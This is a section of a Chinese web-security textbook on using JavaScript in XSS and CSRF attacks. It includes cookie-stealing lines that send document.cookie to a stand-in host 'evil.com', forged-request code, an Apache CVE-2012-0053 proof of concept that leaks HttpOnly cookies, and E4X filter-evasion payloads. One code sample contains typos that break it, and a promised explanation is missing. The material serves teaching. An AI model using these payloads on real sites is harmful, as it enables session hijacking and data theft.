2.5 跨站之魂——JavaScript

在Web前端安全中,JavaScript控制了整个前端的逻辑,通过JavaScript可以完成许多操作。举个例子,用户在网站上都有哪些操作?首先提交内容,然后可以编辑与删除,那么这些JavaScript几乎都可以完成,为什么是“几乎”?因为碰到提交表单需要验证码的情况,JavaScript就不行了,虽然有HTML5的canvas来辅助,不过效果并不会好。

对跨站师来说,大多数情况下,有了XSS漏洞,就意味着可以注入任意的JavaScript,有了JavaScript,就意味着被攻击者的任何操作都可以模拟,任何隐私信息都可以获取到。可以说,JavaScript就是跨站之魂。

2.5.1 DOM树操作

在2.4.1节我们知道了DOM树,并且提到通过DOM操作能够获取到各种隐私信息。现在来看看都怎么获取。

1. 获取HTML内容中的隐私数据

比如,要获取的隐私数据是用户的私信内容,内容在DOM的位置如下:

<html>
<head>
    ….
</head>
<body>
    …
    <div id="private_msg">
        隐私数据在这……
    </div>
    …
</body>
</html>

在这个DOM树中,id="private_msg"的标签节点包含了用户的私信内容,通过JavaScript可以非常简单地获取:

document.getElementById('private_msg').innerHTML;

document对象代表整个DOM,getElementById函数可以获取指定id号的标签对象,这些标签对象都有一个属性innerHTML,表示标签对象内的HTML数据内容。如果没这个id号怎么办?是稍微麻烦点,可还是非常简单,可假设包含隐私数据的div标签是DOM树从上到下的第3个。那么可以用下列语句获取:

document.getElementsByTagName('div')[2].innerHTML;

这时用到的函数是getElementsByTagName,接收的参数就是标签名,返回一个数组,数组下标从0开始,于是第3个表示为[2]。方法有很多,大家可以自己思考。

2. 获取浏览器的Cookies数据

Cookies中保存了用户的会话信息,通过document.cookie可以获取到,不过并不是所有的Cookies都可以获取,具体内容在2.5.4节详细介绍。

3. 获取URL地址中的数据

从window.location或location处可以获取URL地址中的数据。

除了获取数据,还有通过DOM操作生成新的DOM对象或移除DOM对象。这些都非常有用,在此推荐查阅《JavaScript DOM编程艺术》一书以了解更多的内容。

2.5.2 AJAX风险

AJAX简直就是前端黑客攻击中必用的技术模式,全称为Asynchronous JavaScript And XML,即异步的JavaScript与XML。这里有三个点:异步、JavaScript、XML。

异步和同步对应,异步可以理解为单独开启了一个线程,独立于浏览器主线程去做自己的事,这样浏览器就不会等待(阻塞),这个异步在后台悄悄进行,所以利用AJAX的攻击显得很诡异,无声无息。AJAX本身就是由JavaScript构成的,只是XML并不是必需的,XML在这里是想指数据传输格式是XML,比如,AJAX发出去的HTTP请求,响应回的数据是XML格式,然后JavaScript去解析这个XML DOM树得到相应节点的内容。其实响应回的数据格式还可以是JSON(已经是主流)、文本、HTML等。AJAX中特别提到XML是因为历史原因。

AJAX的核心对象是XMLHttpRequest(一般简称为xhr),不过IE 7之前的浏览器不支持xhr对象,而是通过ActiveXObject来实现的。看下面的xhr实例化:

  var xmlhttp;
  if(window.XMLHttpRequst){
xmlhttp = new XMLHttpRequst(); //IE7+, Firefox, Chrome, Opera, Safari等
  }else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); //IE 6/IE 5浏览器的方式
  }

实例化后就是设置好回调,然后发送HTTP请求需要的头部与参数键值,待响应成功后会触发该回调,回调函数就可以处理响应回来的数据了。这里需要注意,不是任何请求头都可以通过JavaScript进行设置的,否则前端的逻辑世界就乱了,W3C给出了一份头部黑名单:

Accept-Charset
Accept-Encoding
Access-Control-Request-Headers
Access-Control-Request-Method
Connection
Content-Length
Cookie
Cookie2
Content-Transfer-Encoding
Date
Expect
Host
Keep-Alive
Origin
Referer
TE
Trailer
Transfer-Encoding
Upgrade
User-Agent
Via
...

这个黑名单曾经是不完备的,也有一些技巧导致黑名单被绕过,导致可以任意提交Referer/User-Agent/Cookie等头部值,随着时间的推移,黑名单总是有自己的风险。

响应回的数据也包括头部与体部,通过getResponseHeader函数可以获得指定的响应头,除了Set-Cookie/Set-Cookie2(其中可能就有设置了HttpOnly标志的Cookie,这是严禁客户端脚本读取的)等。更方便的是可以通过getAllResponseHeaders获取所有合法的响应头。

AJAX是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。不过有一种情况,可以发送数据到另一个域,W3C的新标准中,CORS(Cross-Origin Resource Sharing)开始推进浏览器支持这样的跨域方案,现在的浏览器都支持这个方案了,过程如下:

www.foo.com(来源域)的AJAX向www.evil.com(目标域)发起了请求,浏览器会给自动带上Origin头,如下:

Origin: http://www.foo.com

然后目标域要判断这个Origin值,如果是自己预期的,那么就返回:

Access-Control-Allow-Origin: http://www.foo.com

表示同意跨域。如果Access-Control-Allow-Origin之后是*通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现Access-Control-Allow-Origin头的存在,就会报类似下面这样的权限错误:

XMLHttpRequest cannot load http://www.evil.com. Origin http://www.foo.com is not allowed by Access-Control-Allow-Origin.

IE下不使用XMLHttpRequest对象,而是自己的XDomainRequst对象,实例化后,使用方式与XMLHttpRequest基本一致。如下代码能让我们的CORS方案兼容:

<script>
function createCORSRequest(method, url){
    var xhr = new XMLHttpRequest();
    if ("withCredentials" in xhr){
        xhr.open(method, url, true);
    } else if (typeof XDomainRequest != "undefined"){
        xhr = new XDomainRequest(); //IE浏览器
        xhr.open(method, url);
    } else {
        xhr = null;
    }
    return xhr;
}

var request = createCORSRequest("get", "http://www.evil.com/steal.php?data=456");
if (request){
    request.onload = function(){ //请求成功后
         alert(request.responseText); //弹出响应的数据
    };
    request.send(); //发送请求
}
</script>

上述代码存放在www.foo.com域上,跨域往目标域发起请求,目标域steal.php的代码如下:

<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
//...
?>

注:

根据上面这些简陋的代码,我们可以丰富一下,想想适合怎样的攻击场景?有一个实时远控的场景,我们可以将源头域上的隐私数据(每3秒)跨域提交到目标域上,并获取目标域响应的内容,这样的内容可以动态生成,也可以是JavaScript指令,然后在源头域上被eval等方式动态执行。更多的内容可查看第7章相关章节。

如果目标域不设置Access-Control-Allow-Origin: http://www.foo.com,那么隐私数据可以被偷到吗?答案是肯定的。虽然浏览器会报权限错误的问题,但实际上隐私数据已经被目标域的steal.php接收到了。

默认情况下,这样的跨域无法带上目标域的会话(Cookies等),需要设置xhr实例的withCredentials属性为true(IE还不支持),同时目标域的steal.php必须设置如下:

<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
header("Access-Control-Allow-Credentials: true"); //允许跨域证书发送
//...
?>

有一点需要注意,如果设置了Access-Control-Allow-Credentials为true,那么Access-Control-Allow-Origin就不能设置为*通配符,这也是浏览器为了安全进行的考虑。

有了CORS机制,跨域就变得特别方便了,该功能要慎重使用,否则后果会很严重。

2.5.3 模拟用户发起浏览器请求

在浏览器中,用户发出的请求基本上都是HTTP协议里的GET与POST方式。对于GET方式,实际上就是一个URL,方式有很多,常见的如下:

//新建一个img标签对象,对象的src属性指向目标地址
new Image().src="http://www.evil.com/steal.php"+escape(document.cookie);
//在地址栏里打开目标地址
location.href="http://www.evil.com/steal.php"+escape(document.cookie);

这个原理是相通的,通过JavaScript动态创建iframe/frame/script/link等标签对象,然后将它们的src或href属性指向目标地址即可。

对于POST的请求,前面说的XMLHttpRequest对象就是一个非常方便的方式,可以模拟表单提交,它有异步与同步之分,差别在于XMLHttpRequst实例化的对象xhr的open方法的第三个参数,true表示异步,false表示同步,如果使用异步方式,就是AJAX。异步则表示请求发出去后,JavaScript可以去做其他事情,待响应回来后会自动触发xhr对象的onreadystatechange事件,可以监听这个事件以处理响应内容。同步则表示请求发出去后,JavaScript需要等待响应回来,这期间就进入阻塞阶段。如下是一段同步的示例:

xhr = function(){
  /*xhr对象*/
  var request = false;
  if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
  } else if(window.ActiveXObject) {
    try {
      request = new window.ActiveXObject('Microsoft.XMLHTTP');
    } catch(e) {}
  }
  return request;
}();

request = function(method,src,argv,content_type){
  xhr.open(method,src,false); //同步方式
  if(method=='POST')xhr.setRequestHeader('Content-Type',content_type);
//设置表单的Content-Type类型,常见的是application/x-www-form-urlencoded
  xhr.send(argv); //发送POST数据
  return xhr.responseText; //返回响应的内容
};

attack_a = function(){
  var src = http://www.evil.com/steal.php;
  var argv_0 = "&name1=value1&name2=value2";
  request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();

POST表单提交的Content-Type为application/x-www-form-urlencoded,它是一种默认的标准格式。还有一种比较常见:multipart/form-data。它一般出现在有文件上传的表单中,示例如下:

xhr = function(){
  /*省略xhr对象的创建*/
}();

request = function(method,src,argv,content_type){
  xhr.open(method,src,false);
  if(method=='POST')xhr.setRequestHeader('Content-Type',content_type);
  xhr.send(argv);
  return xhr.responseText;
}

attack_a = function(){
  var src = http://www.evil.com/steal.php;
  var name1 = "value1";
  var name2 = "value2";
  var argv_0 = "\r\n";
  argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:
    form-data; name=\"name1\"\r\n\r\n";
  argv_0 += (name1+"\r\n");
  argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:
    form-data; name=\"name2\"\r\n\r\n";
  argv_0 += (name2+"\r\n");
  argv_0 += "---------------------7964f8dddeb95fc5--\r\n";
/*
POST提交的参数是以-------------------7964f8dddeb95fc5分隔的
下面设置表单提交的Content-Type与form-data分隔边界为:
multipart/form-data; boundary=-------------------7964f8dddeb95fc5
*/
  request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}
attack_a();

除了可以通过xhr对象模拟表单提交外,还有一种比较原始的方式:form表单自提交。原理是通过JavaScript动态创建一个form,并设置好form中的每个input键值,然后对form对象做submit()操作即可,示例如下:

function new_form(){
    var f = document.createElement("form");
    document.body.appendChild(f);
    f.method = "post";
    return f;
}
function create_elements(eForm, eName, eValue){
    var e = document.createElement("input");
    eForm.appendChild(e);
    e.type = 'text';
    e.name = eName;
    if(!document.all){e.style.display = 'none';}else{
        e.style.display = 'block';
        e.style.width = '0px';
        e.style.height = '0px';
    }
    e.value = eValue;
    return e;
}
var _f = new_form(); //创建一个form对象
create_elements(_f, "name1", "value1"); //创建form中的input对象
create_elements(_f, "name2", "value2");
_f.action= "http://www.evil.com/steal.php"; //form提交地址
_f.submit(); //提交

我们介绍了好几种模拟用户发起浏览器请求的方法,其用处很大且使用很频繁。前端黑客攻击中,比如XSS经常需要发起各种请求(如盗取Cookies、蠕虫攻击等),上面的几种方式都是XSS攻击常用的,而最后一个表单自提交方式经常用于CSRF攻击中。

2.5.4 Cookie安全

Cookie是一个神奇的机制,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时,Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie,大多数情况下,客户端通过JavaScript也可以添加、修改和删除Cookie。

由于这样的机制,Cookie经常被用来存储用户的会话信息,比如,用户登录认证后的Session,之后同域内发出的请求都会带上认证后的会话信息,非常方便。所以,攻击者就特别喜欢盗取Cookie,这相当于盗取了在目标网站上的用户权限。

Cookie的重要字段如下:

[name][value][domain][path][expires][httponly][secure]

其含义依次是:名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志。这些字段用好了,Cookie就是安全的,下面对关键的字段进行说明。

1. 子域Cookie机制

这是domain字段的机制,设置Cookie时,如果不指定domain的值,默认就是本域。例如,a.foo.com域通过JavaScript来设置一个Cookie,语句如下:

document.cookie="test=1";

那么,domain值默认为a.foo.com。有趣的是,a.foo.com域设置Cookie时,可以指定domain为父级域,比如:

document.cookie="test=1;domain=foo.com";

此时,domain就变为foo.com,这样带来的好处就是可以在不同的子域共享Cookie,坏处也很明显,就是攻击者控制的其他子域也能读到这个Cookie。另外,这个机制不允许设置Cookie的domain为下一级子域或其他外域。

2. 路径Cookie机制

这是path字段的机制,设置Cookie时,如果不指定path的值,默认就是目标页面的路径。例如,a.foo.com/admin/index.php页面通过JavaScript来设置一个Cookie,语句如下:

document.cookie="test=1";

path值就是/admin/。通过指定path字段,JavaScript有权限设置任意Cookie到任意路径下,但是只有目标路径下的页面JavaScript才能读取到该Cookie。那么有什么办法跨路径读取Cookie?比如,/evil/路径想读取/admin/路径的Cookie。很简单,通过跨iframe进行DOM操作即可,/evil/路径下页面的代码如下:

xc = function(src){
    var o = document.createElement("iframe"); //iframe进入同域的目标页面
    o.src = src;
    document.getElementsByTagName("body")[0].appendChild(o);
    o.onload = function(){ //iframe加载完成后
       d = o.contentDocument || o.contentWindow.document;
//获取document对象
       alert(d.cookie); //获取cookie
    };
}('http://a.foo.com/admin/index.php');

所以,通过设置path不能防止重要的Cookie被盗取。

3. HttpOnly Cookie机制

顾名思义,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效地防御XSS攻击获取Cookie。以PHP setcookie为例,httponly.php文件代码如下:

<?php
setcookie("test", 1, time()+3600, "", "", 0); //设置普通Cookie
setcookie("test_http", 1, time()+3600, "", "", 0, 1);
//第7个参数(这里的最后一个)是HttpOnly标志,0为关闭,1为开启,默认为0
?>

请求这个文件后,设置了两个Cookie,如图2-2所示。

054-1

图2-2 设置的Cookie值

其中,test_http是HttpOnly Cookie。有什么办法能获取到HttpOnly Cookie?如果服务端响应的页面有Cookie调试信息,很可能就会导致HttpOnly Cookie的泄漏。比如,以下信息。

(1)PHP的phpinfo()信息,如图2-3所示。

054-2

图2-3 phpinfo()信息

(2)Django应用的调试信息,如图2-4所示。

054-3

图2-4 Django调试信息

(3)CVE-2012-0053关于Apache Http Server 400错误暴露HttpOnly Cookie,描述如下:

Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回400(Bad Request)错误,并在返回信息中将出错的请求头内容输出(包含请求头里的HttpOnly Cookie),攻击者可以利用这个缺陷获取HttpOnly Cookie。

可以通过技巧让Apache报400错误,例如,如下POC(Proof of Concept,为观点提供证据):

<script>
/* POC来自:
https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08

大多数浏览器限制Cookies最大为4kB,我们设置为更大,让请求头长度超过Apache的LimitRequestFieldSize,从而引发400错误。

*/
function setCookies (good) {
    var str = "";
    for (var i=0; i< 819; i++) {
        str += "x";
    }
    for (i = 0; i < 10; i++) {
        if (good) { //清空垃圾Cookies
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).
       toUTCString()+"; path=/;";
        }
        //添加垃圾Cookies
        else {
            var cookie = "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }
}

function makeRequest() {
    setCookies(); //添加垃圾Cookies
    function parseCookies () {
        var cookie_dict = {};
        //仅当处于400状态时
        if (xhr.readyState === 4 && xhr.status === 400) {
            //替换掉回车换行字符,然后匹配出<pre></pre>代码段里的内容
            var content = xhr.responseText.replace(/\r|\n/g,'').match
        (/<pre>(.+)<\/pre>/);
            if (content.length) {
                //替换“Cookie: ”前缀
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            setCookies(true); //清空垃圾Cookies
            alert(JSON.stringify(cookie_dict)); //得到HttpOnly Cookie
        }
    }
    //针对目标页面发出xhr请求,请求会带上垃圾Cookies
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "httponly.php", true);
    xhr.send(null);
}
makeRequest();
</script>

apache 400 httponly cookie poc

请求这个POC时,发出的请求头信息如图2-5所示。

057-1

图2-5 POC发出的请求头信息

此时,httponly.php(其代码在前面已给出)会出现400错误,导致HttpOnly Cookie泄漏,如图2-6所示。

057-2

图2-6 Apache 400错误报出的HttpOnly Cookie

上面的几个例子中,服务端响应泄漏了HttpOnly Cookie应该算是一种漏洞,需谨慎对待,否则XSS会轻易获取到同域内的HttpOnly Cookie。

4. Secure Cookie机制

Secure Cookie机制指的是设置了Secure标志的Cookie仅在HTTPS层面上安全传输,如果请求是HTTP的,就不会带上这个Cookie,这样能降低重要的Cookie被中间人截获的风险。

不过有个有意思的点,Secure Cookie对于客户端脚本来说是可读写的。可读意味着Secure Cookie能被盗取,可写意味着能被篡改。如下的JavaScript代码可对已知的Secure Cookie进行篡改:

//path与domain必须一致,否则会被认为是不同的Cookie
document.cookie="test_secure=hijack;path=/;secure;"

5. 本地Cookie与内存Cookie

理解这个很简单,它与过期时间(Cookie的expires字段)紧密相关。如果没设置过期时间,就是内存Cookie,这样的Cookie会随着浏览器的关闭而从内存中消失;如果设置了过期时间是未来的某个时间点,那么这样的Cookie就会以文本形式保存在操作系统本地,待过期时间到了才会消失。示例(GMT时间,2112年1月1日才会过期)如下:

document.cookie="test_expires=1; expires=Mon, 01 Jan 2112 00:00:00 GMT;"

很多网站为了提升用户体验,不需要每次都登录,于是采用本地Cookie的方式让用户在未来1个月、半年、永久等时间段内都不需要进行登录操作。通常,用户体验与风险总是矛盾的,体验好了,风险可能也变大了,比如,攻击者通过XSS得到这样的本地Cookie后,就能够在未来很长一段时间内,甚至是永久控制着目标用户的账号权限。

这里并不是说内存Cookie就更安全,实际上,攻击者可以给内存Cookie加一个过期时间,使其变为本地Cookie。用户账户是否安全与服务端校验有关,包括重要Cookie的唯一性(是否可预测)、完整性(是否被篡改了)、过期等校验。

6. Cookie的P3P性质

HTTP响应头的P3P(Platform for Privacy Preferences Project)字段是W3C公布的一项隐私保护推荐标准。该字段用于标识是否允许目标网站的Cookie被另一个域通过加载目标网站而设置或发送,仅IE执行了该策略。

比如,evil域通过script或iframe等方式加载foo域(此时foo域被称为第三方域)。加载的时候,浏览器是否会允许foo域设置自己的Cookie,或是否允许发送请求到foo域时,带上foo域已有的Cookie。我们有必要区分设置与发送两个场景,因为P3P策略在这两个场景下是有差异的。

(1)设置Cookie。

Cookie包括本地Cookie与内存Cookie。在IE下默认都是不允许第三方域设置的,除非foo域在响应的时候带上P3P字段,如:

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

该字段的内容本身意义不大,不需要记,只要知道这样设置后,被加载的目标域的Cookie就可以被正常设置了。设置后的Cookie在IE下会自动带上P3P属性(这个属性在Cookie中是看不到的),一次生效,即使之后没有P3P头,也有效。

(2)发送Cookie

发送的Cookie如果是内存Cookie,则无所谓是否有P3P属性,就可以正常发送;如果是本地Cookie,则这个本地Cookie必须拥有P3P属性,否则,即使目标域响应了P3P头也没用。

要测试以上结论,可以采用如下方法。

(1)给hosts文件添加www.foo.com与www.evil.com域。

(2)将如下代码保存为foo.php,并保证能通过www.foo.com/cookie/foo.php访问到。

<?php
//header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
setcookie("test0", 'local', time()+3600*3650);
setcookie("test_mem0", 'memory');
var_dump($_COOKIE);
?>

(3)将如下代码保存为evil.php,并保证能通过www.evil.com/cookie/evil.php访问到。

<iframe src="http://www.foo.com/cookie/foo.php"></iframe>

(4)IE浏览器访问www.evil.com/cookie/evil.php,通过fiddler等浏览器代理工具可以看到foo.php尝试设置Cookie,当然由于没响应P3P头,所以不会设置成功。

(5)将foo.php的P3P响应功能的注释去掉,再访问www.evil.com/cookie/evil.php,可以发现本地Cookie(test0)与内存Cookie(test_mem0)都已设置成功。

(6)修改foo.php里的Cookie名,比如,test0改为test1,test_mem0改为test_mem1等,注释P3P响应功能,然后直接访问www.foo.com/cookie/foo.php,这时会设置本地Cookie(test1)与内存Cookie(test_mem1),此时这两个Cookie都不带P3P属性。

(7)再通过访问www.evil.com/cookie/evil.php,可以发现内存Cookie(test_mem1)正常发送,而本地Cookie(test1)没有发送。

(8)继续修改foo.php里的Cookie名,test1改为test2,test_mem1改为test_mem2,去掉P3P响应功能的注释,然后直接访问www.foo.com/cookie/foo.php,此时本地Cookie(test2)与内存Cookie(test_mem2)都有了P3P属性。

(9)这时访问www.evil.com/cookie/evil.php,可以发现test2与test_mem2都发送出去了。

这些细节对我们进行安全研究非常关键,比如,在CSRF攻击的时候,如果iframe第三方域需要Cookie认证,这些细节对我们判断成功与否非常有用。

2.5.5 本地存储风险

浏览器的本地存储方式有很多种,常见的如表2-1所示。

表2-1 本地存储描述

061-1

本地存储的主要风险是被植入广告跟踪标志,有的想删都不一定能删除干净。比如,广为人知的evercookie,不仅利用了如上各种存储,还使用了以下存储。

evercookie使用了10多种存储方式,互相配合,如果哪个存储被删除,再次请求evercookie页面时,被删除的值会被恢复。这就是evercookie的目的:永久性Cookie。

以下重点介绍Cookie、userData、localStorage、Flash Cookie,看看它们的存储特性。

1. Cookie

大多数浏览器限制每个域能有50个Cookie。不同的浏览器能存储的Cookies是有差异的,其最大值约为4KB,若超过这个值,浏览器就会删除一些Cookie,这个删除策略也是不太一样的。关于这些差异,有兴趣的读者可以自己去研究。

Cookie的很多操作在上一节已经提过,在此特别提醒一下,删除Cookie时,仅需设置过期值为过去的时间即可。Cookie无法跨浏览器存在。

2. userData

微软在IE 5.0以后,自定义了一种持久化用户数据的概念userData,用户数据的每个域最大为64KB。这种存储方式只有IE浏览器自己支持,下面看看如何操作。

<div id="x"></div>
<script>
function set_ud(key,value) {
    var a = document.getElementById('x'); //x为任意div的id值
    a.addBehavior("#default#userdata");
    a.setAttribute(key,value);
    a.save("db");
}

function get_ud(key) {
    var a = document.getElementById('x');
    a.addBehavior("#default#userdata");
    a.load("db");
    alert(a.getAttribute(key));
}

function del_ud(key) {
    var a = document.getElementById('x');
    a.addBehavior("#default#userdata");
    a.setAttribute(key, ""); //设置为空值即可
    a.save("db");
}
window.onload = function(){
    set_ud('a','xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); //设置
    get_ud('a'); //获取a的值
    del_ud('a'); //删除a的值
    get_ud('a'); //获取a的值
};
</script>

3. localStorage

HTML5的本地存储localStorage是大势所趋,如果仅存储在内存中,则是sessionStorage。它们的语法都一样,仅仅是一个存储在本地文件系统中,另一个存储在内存中(随着浏览器的关闭而消失),其语句如下:

localStorage.setItem("a", "xxxxxxxxxxxxxxx"); //设置
localStorage.getItem("a"); //获取a的值
localStorage.removeItem("a"); //删除a的值

注意,localStorage无法跨浏览器存在。

如表2-2所示的5大浏览器现在都支持以localStorage方式进行存储,其中,Chrome、Opera、Safari这3款浏览器中都有查看本地存储的功能模块。但是不同的浏览器对localStorage存储方式还是略有不同的。表2-2是5大浏览器localStorage的存储方式。

表2-2 5大浏览器localStorage存储方式

064-1

通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均采用明文存储数据。

另一方面,在数据存储的时效性上,localStorage并不会像Cookie那样可以设置数据存活的时限。也就是说,只要用户不主动删除,localStorage存储的数据将会永久存在。

根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,哪怕这些信息进行过加密。

另外,对身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。通过前面的知识可以知道,后来为了防止通过XSS获取Cookie数据,浏览器支持使用HttpOnly来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何防御机制,一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。

4. Flash Cookie

Flash是跨浏览器的通用解决方案,Flash Cookie的默认存储数据大小是100KB。关于Flash的相关知识,将在2.7节详细介绍,下面看看如何使用ActionScript脚本操作Flash Cookie。

function set_lso(k:String="default", v:String=""):void
{ //设置值
    var shared:SharedObject = SharedObject.getLocal("db");
    shared.data[k] = v;
    shared.flush();
}
function get_lso(k:String="default"):String
{ //获取值
    var str:String = "";
    var shared:SharedObject = SharedObject.getLocal("db");
    str = shared.data[k];
    return str;
}
function clear_lso():void
{ //清空值
    var shared:SharedObject = SharedObject.getLocal("db");
    shared.clear();
}

2.5.6 E4X带来的混乱世界

E4X是ECMAScript For XML的缩写。本书的两大脚本JavaScript和ActionScript都遵循ECMAScript标准,所以在E4X的语法上是一致的。对于JavaScript来说,当前只有Firefox支持E4X,这种技术是将XML作为JavaScript的对象,直接通过如下形式声明:

<script>
foo=<foo><id name="thx">x</id></foo>; //注意,没有引号包围
alert(foo.id); //弹出XML的id标签节点的值:x
</script>

通过使用E4X技术,可以混淆JavaScript代码,甚至绕开一些过滤规则。下面进一步了解E4X的使用,从上面的样例中如何得到name的值?可以这样:

alert(foo.id.@name); //访问属性节点用@符号,id字符串可以省略,直接下面这样:
alert(foo..@name);

更进一步:

alert(<foo>hi</foo>); //弹出hi,继续缩短代码?像下面这样:
alert(<>hi</>) //也弹出hi,注意,没引号

于是我们可以考虑将脚本放到XML数据中,比如,x=<>alert('hello')</>(将整个XML数据赋值给x),然后获取这个XML数据,并将eval显示出来:eval(x+[]),注意,[]不可少。

这些测试都是在脚本内操作XML数据的。那么在这个“内嵌”的XML数据里如何执行脚本表达式呢?比如:x=<>alert('hello')</>是无法自执行的,改为:x=<>{alert('hello')}</>就行了,即加个花括弧,表示里面是要执行的脚本。

通过上面这些技巧,可以很好地理解如下混淆的代码:

① Function(<text>\u0061{new String}lert(0)</text>)()
② Function(<text>aler{[]}t('cool')</text>)()
③ Function(<text><x y="a"></x><x y="lert"></x><x y="(123)"></x></text>..@y)()
④ location=XML(<x>java{[]}script:ale{[]}rt(/I am e4x/.source)</x>)
⑤ location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>
⑥ eval(<>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</>+[])

针对上面6个混淆样例,说明如下:

本节的知识点最早由Gareth Heyes提出,大家如果想了解更多的知识,可以参考他的文章(http://www.thespanner.co.uk/?s=e4x)。

2.5.7 JavaScript函数劫持

JavaScript函数劫持很简单,一般情况下,只要在目标函数触发之前,重写这个函数即可,比如,劫持eval函数的语句如下:

var _eval=eval;
eval = function(x){
    if(typeof(x)=='undefined'){return;}
    alert(x); //这之前可以写任意代码
    _eval(x);
};
eval('alert(1)'); //这时的eval会先弹出它的参数值,然后才是动态执行参数值

曾经的浏览器劫持document.write、document.writeln也同样是这样的方式,不过在IE 9及Firefox、Chrome等新一代浏览器下,这个方式需要做改变,如下:

var _write = document.write.bind(document);
//注意到 bind 方法,可以将目标绑定到 document 对象上,这样_write 执行时就不会报错,
//否则会因为默认在window对象下寻找write方法而导致报错,因为该方法不存在
document.write = function(x){
    if(typeof(x)=='undefined'){return;}
    //这可以写任意代码
    _write(x);
};

//除了bind技巧外,还可以这样:
var _write = document.write;
document.write = function(x){
if(typeof(x)=='undefined'){return;}
//这可以写任意代码
    _write.call(document,x); //call方法,第一个参数表明要绑定到的对象
};

document.write("<script>alert(1)</script>"); //这样就劫持住了

函数劫持有什么用?

我们知道,在一定程度上是可以自动化分析DOM XSS的,可以动态解密一些混淆的代码(如:网马),JSON HiJacking使用的就是这样的技巧。

关于JavaScript函数劫持更多的知识,可以查看2007年luoluo的文章《浅谈javascript函数劫持》(http://www.xfocus.net/articles/200712/963.html)。